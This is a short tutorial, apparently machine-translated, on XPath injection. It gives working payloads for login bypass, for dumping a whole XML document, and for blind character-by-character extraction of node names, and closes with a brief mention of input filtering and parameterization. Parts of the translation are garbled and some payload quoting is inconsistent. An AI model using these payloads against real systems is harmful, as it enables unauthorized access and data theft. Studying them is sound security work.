Basics
XPath is a W3C standard supports the use of path expressions to select nodes in an XML document or set of nodes 100 and defines a plurality of built-in functions. XML document includes seven types of nodes: element, attribute, text, namespaces, processing instructions, comments and document node (or root).
XPath syntax reference: https://www.runoob.com/xpath/xpath-intro.html
Wrote seleniumUI automated small partner is not also used XPath, yes, he is, this XPath XPath. HTML document itself XML.
Using the principle of
Like, are input by constructing, executing malicious statements to the unlawful acquisition / operation of the server data / information purposes (XPath syntax support and, or, fuzzy matching, etc.) and SQL injection principle, except that the object is a SQL injection attack database, XPath target of attack is an XML document. XML documents and no user authentication and access control, XPath injection can be achieved as long as you can access the entire XML document ...> _ <...
Use
1. universal password (user login scenarios):
Xpath assume when the user logs in as follows:
"/heroes/hero[login='" . $login . "' and password='" . $password . "']"
Injection as follows:
Username Password Input: 1 'or' 1 '=' 1, corresponding to:
"/heroes/hero[login='1' or '1'='1' and password='1' or '1'='1']"
2. arguments passed in the built-in function
"//hero[contains(genre, '$genre')]/movie"
Injection method: action ')] | // * | // * [(', corresponding to:
"//hero[contains(genre, 'action')] | //* | //*[('')]/movie"
* // use after implantation can get the entire XML document.
3. Mekurachu
Guess the number of the upper node: 'or count (../*)= 1, corresponding to:
"/heroes/hero[login='1' or count(../*)=1 and password='1' or count(../*)=1 ]"
Guess the parent name: 'or substring (name (parent :: * [position () = 1]), 1,1) =' a, 'or substring (name (/ * [position () = 1]), 2 , 1) = 'o' ...., corresponding to:
"/heroes/hero[login='1 or substring(name(parent::*[position()=1]),1,1)='a' and password='or substring(name(parent::*[position()=1]),1,1)='a']"
"/heroes/hero[login='1 or substring(name(parent::*[position()=1]),2,1)='a' and password='or substring(name(parent::*[position()=1]),2,1)='a']"
.......
defensive approach
1 into the reference detector
2. parameterized